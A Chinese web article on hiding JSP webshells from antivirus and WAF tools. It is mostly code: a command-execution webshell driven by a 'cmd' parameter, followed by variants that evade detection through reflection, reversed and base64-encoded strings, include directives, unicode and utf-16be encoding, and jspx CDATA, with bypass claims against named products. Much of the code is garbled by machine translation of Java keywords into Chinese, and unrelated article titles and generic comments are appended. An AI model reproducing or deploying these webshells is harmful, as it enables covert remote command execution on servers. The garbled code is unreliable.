这篇文章给大家聊聊关于揭秘Webshell免杀技巧:Jsp技术解析,以及对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
进程p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%这个文件有明显的exec危险代码。
image.png
反射
利用反射避免查杀webshell是常用技术之一。反射的编写过程可以参考Java反射机制学习
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@页面导入="java.lang.reflect.Method" %%
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%还可以通过base64编码对密钥字符串java.lang.Runtime进行编码。
String a=new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="));
System.out.println(a);或者创建一个方法来反转字符串。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%!public static StringverseStr(String str){return new StringBuilder(str).reverse().toString();}% %
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName(reverseStr("emitnuR.gnal.avaj"));
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod(reverseStr("cexe"), String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%image.png
include 指令
Java Web中有一个include指令,可以将外部文件嵌入到当前jsp语句中,同时解析页面的jsp语句。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%@ include file="1.jpg" %1.jpg 编写恶意代码。
%
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
% access也可以正常执行命令。
image.png 因为安全狗和D-shield主要是检测并查杀Runtime.getRuntime().exec(),所以使用include时可以绕过D-shield,但安全狗无法绕过。当再次使用反射机制时,可以成功绕过。
image.png
编码
Java程序可以自动识别Unicode编码,因此我们可以对除页面指令代码之外的所有java源代码进行编码。
首先,在Internet上寻找一个将字符串转换为Unicode编码的类。
公共无效转换(字符串str){
str=(str==null ? "" : str);
字符串tmp;
StringBuffer sb=new StringBuffer(1000);
字符c;
整数i,j;
sb.setLength(0);
for (i=0; i str.length(); i++) {
c=str.charAt(i);
sb.append("\u");
j=(c 8); //获取高8位
tmp=Integer.toHexString(j);
if (tmp.length()==1)
sb.append("0");
sb.append(tmp);
j=(c0xFF); //取出低8位
tmp=Integer.toHexString(j);
if (tmp.length()==1)
sb.append("0");
sb.append(tmp);
}
System.out.print(new String(sb));
}创建另一个方法,通过读取文本文件来调用convert()方法,对上述命令执行的代码进行编码。
公共无效test2()抛出IOException {
文件srcfile=new File("a.txt");
FileReader fileReader=new FileReader(srcfile);
BufferedReader bufferedReader=new BufferedReader(fileReader);
字符串s;
while ((s=bufferedReader.readLine()) !=null) {
转换;
System.out.print("rn");
}
}运行后会得到Unicode编码的代码,然后声明原来的页面命令。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%
u006fu0075u0074u002eu0070u0072u0069u006eu0074u0028 u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u 0050u0072u006fu0070u0065 u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061 u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u 0065u0072u0043u0061u0073u0065u0028u0029u0029u003b
u0053u0074u0072u0069u006eu0067u0020u0020u0063u006d u0064u0020u003du0020u0072u0065u0071u0075u0065u0073u 0074u002eu0067u0065u0074 u0050u0061u0072u0061u006du0065u0074u0065u0072u0028u0022u0063u006du0064u0022u0029u003b
u0069u0066u0028u0063u006du0064u0020u0021u003du0020u006eu0075u006cu006cu0029u007b
u0020u0020u0020u0020u0050u0072u006fu0063u0065u0073 u0073u0020u0070u0020u003du0020u0020u0052u0075u006eu 0074u0069u006du0065u002e u0067u0065u0074u0052u0075u006eu0074u0069u006du0065 u0028u0029u002eu0065u0078u0065u0063u0028u006eu0065u 0077u0020u0053u0074u0072 u0069u006eu0067u005bu005du007bu0022u0063u006du0064 u002eu0065u0078u0065u0022u002cu0022u002fu0063u0022u 002cu0063u006du0064u007du0029u003b
u0020u0020u0020u0020u0049u006eu0070u0075u0074u0053 u0074u0072u0065u0061u006du0020u0069u006eu0070u0075u 0074u0020u003du0020u0070 u002eu0067u0065u0074u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0028u0029u003b
u0020u0020u0020u0020u0049u006eu0070u0075u0074u0053 u0074u0072u0065u0061u006du0052u0065u0061u0064u0065u 0072u0020u0069u006eu0073 u0020u003du0020u006eu0065u0077u0020u0049u006eu0070 u0075u0074u0053u0074u0072u0065u0061u006du0052u0065u 0061u0064u0065u0072u0028u0069u006eu0070u0075u0074u002cu0020u0022u0047u0042u004bu0022u0029u003b
u0020u0020u0020u0020u0042u0075u0066u0066u0065u0072 u0065u0064u0052u0065u0061u0064u0065u0072u0020u0062u 0072u0020u003du0020u006e u0065u0077u0020u0042u0075u0066u0066u0065u0072u0065 u0064u0052u0065u0061u0064u0065u0072u0028u0069u006eu 0073u0029u003b
u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072 u0069u006eu0074u0028u0022u003cu0070u0072u0065u003eu 0022u0029u003b
u0020u0020u0020u0020u0053u0074u0072u0069u006eu0067u0020u006cu0069u006eu0065u003b
u0020u0020u0020u0020u0077u0068u0069u006cu0065u0028 u0028u006cu0069u006eu0065u0020u003du0020u0062u0072u 002eu0072u0065u0061u0064 u004cu0069u006eu0065u0028u0029u0029u0020u0021u003du0020u006eu0075u006cu006cu0029u0020u007b
u0020u0020u0020u0020u0020u0020u0020u0020u006fu0075 u0074u002eu0070u0072u0069u006eu0074u006cu006eu0028u 006cu0069u006eu0065u0029u003b
u0020u0020u0020u0020u007d
u0020u0020u0020u0020u006fu0075u0074u002eu0070u0072 u0069u006eu0074u0028u0022u003cu002fu0070u0072u0065u0 03eu0022u0029u003b
u0020u0020u0020u0020u0062u0072u002eu0063u006cu006fu0073u0065u0028u0029u003b
u0020u0020u0020u0020u0069u006eu0073u002eu0063u006cu006fu0073u0065u0028u0029u003b
u0020u0020u0020u0020u0069u006eu0070u0075u0074u002eu0063u006cu006fu0073u0065u0028u0029u003b
u0020u0020u0020u0020u0070u002eu0067u0065u0074u004f u0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u 006du0028u0029u002eu0063u006cu006fu0073u0065u0028u0029u003b
?
%image.pngD 盾牌仍然可以被查杀,安全狗也可以成功绕过它。
那么Unicode 编码还能做什么呢? Unicode编码的关键点在于以"u"开头表示与unicode编码有关。
"u"可以重复声明,即"uuuuuuu"
%
out.println("uuuuuu006fuuuuuuuuuuuuuuuuuu0075uuu0074");
%对上面的代码稍作调整
sb.append("\uuuuu");再次生成webshell,成功绕过D盾。
image.pngjava还支持其他编码格式
导入夏代
导入编解码器
filename_in="webshell.txt"
filename_out="utf-16be_es.jsp"
使用codecs.open(filename=filename_in, mode="r",encoding="utf-8") 作为fi:
数据=fi.read()
使用open(filename_out, mode="w") 作为fo:
fo.write("%@ 页contentType="charset=utf-16be" %")
fo.write(data.encode("utf-16be"))
fo.close() 例如utf-16be编码方式
image.png
扩展
绕过某些WAF时,WAF可能会检测到jsp标签、客户端传入的参数以及威胁命令。
对应jsp标签%%,可以用它来代替。
无需导入和定义完整的类名。
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
java.lang.reflect.Constructor declaredConstructor=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
java.lang.reflect.Method show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
java.io.InputStream 输入=p.getInputStream();
java.io.InputStreamReader ins=new java.io.InputStreamReader(input, "GBK");
java.io.BufferedReader br=new java.io.BufferedReader(ins);
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}对于参数,先存到session中,然后调用。
request.setAttribute("a",request.getParameter("cmd"));
String cmd=request.getAttribute("a").toString();如果威胁命令可以编码,这里选择ASCII编码进行测试。
对应的服务器代码应该是:
字符串解码=java.net.URLDecoder.decode(cmd.replaceAll("\\x", "%"), "utf-8");
String[] cmds=new String[]{"cmd.exe","/c",decode};此时输入whoami或者十六进制编码都可以%5c%78%37%37% 5c%78%36 %38%5c%78%36%66%5c%78%36%31%5c%78%36%64%5c%78%36%39
可以使用image.png或者base64编码加反转等。
%@ 页面语言="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*"%%@ 页面导入="java.io.*" util.Base64" %%@ page import="java.lang.reflect.Constructor" %%@ page import="java.lang.reflect.Method" %%!public static StringverseStr(String str){return new StringBuilder( str).reverse().toString();}%%
out.print(System.getProperty("os.name").toLowerCase());
String bs64=request.getParameter("cmd");
如果(bs64!=空){
String cmd=new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");
类clazz=Class.forName("java.lang.Runtime");
构造函数声明的构造函数=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
方法show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
输入流输入=p.getInputStream();
InputStreamReader ins=new InputStreamReader(input, "GBK");
BufferedReader br=new BufferedReader(ins);
输出.print("");
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
输出.print("");
br.close();
ins.close();
输入.close();
p.getOutputStream().close();
}
%对应客户端传入的命令,是base64编码后的反转字符串。
image.png
CDATA特性
在XML 元素中, 和是非法的。当遇到时,解析器会将此字符解释为新元素的开头。当遇到时,解析器会将这个字符解释为字符实体编码的开始。
有时我们需要在jspx中添加js代码使用大量and字符,所以我们可以将脚本代码定义为CDATA。
解析器将忽略DATA 部分。
?xml 版本="1.0" 编码="UTF-8"?out.write("123!");
out.print(System.getProperty("os.name").toLowerCase());
String cmd=request.getParameter("cmd");
如果(cmd!=空){
类clazz=Class.forName("java.lang.Runtime");
java.lang.reflect.Constructor declaredConstructor=clazz.getDeclaredConstructor();
声明的Constructor.setAccessible(true);
对象o=declaredConstructor.newInstance();
java.lang.reflect.Method show=clazz.getDeclaredMethod("exec", String[].class);
String[] cmds=new String[]{"cmd.exe","/c",cmd};
对象调用=show.invoke(o,(Object)cmds);
进程p=(进程)调用;
java.io.InputStream 输入=p.getInputStream();
java.io.InputStreamReader ins=new java.io.InputStreamReader(input, "GBK");
java.io.BufferedReader br=new java.io.BufferedReader(ins);
串线;
while((line=br.readLine()) !=null) {
输出.println(行);
}
br.close();
ins.close();
输入.close();
【揭秘Webshell免杀技巧:Jsp技术解析】相关文章:
2.米颠拜石
3.王羲之临池学书
8.郑板桥轶事十则
用户评论
听起来很危险...
有9位网友表示赞同!
这种东西能做到吗?我不太理解...
有7位网友表示赞同!
免杀技术越来越厉害了,防不胜防啊!
有20位网友表示赞同!
JSP Webshells 之前也听说过,感觉很有风险.
有9位网友表示赞同!
学习一下相关知识吧,提高安全意识很重要。
有7位网友表示赞同!
这东西能用来干什么呢?
有17位网友表示赞同!
对网络安全确实需要重视,不能掉以轻心。
有10位网友表示赞同!
JSP 技术有点复杂,我还没深入了解过.
有6位网友表示赞同!
现在网络攻击手段越来越高明了,得小心谨慎啊!
有10位网友表示赞同!
能不能分享点相关资料,让我学习一下?
有5位网友表示赞同!
感觉这种技术太危险了,不能轻易接触吧!
有16位网友表示赞同!
想知道免杀技术的原理是什么。
有19位网友表示赞同!
这个领域的技术发展很快,要一直跟进才行.
有8位网友表示赞同!
学习这些知识可以提升我们的安全防护能力.
有15位网友表示赞同!
网络安全不容忽视,每个人都需要提高警惕。
有9位网友表示赞同!
JSP web应用开发要注意安全风险。
有10位网友表示赞同!
免杀技术确实是一个难题。
有6位网友表示赞同!
要加强对网络安全的学习和研究.
有20位网友表示赞同!
对于网安爱好者来说,这是一个很有挑战性的领域.
有10位网友表示赞同!
这种技术能被滥用吗?应该如何预防呢?
有18位网友表示赞同!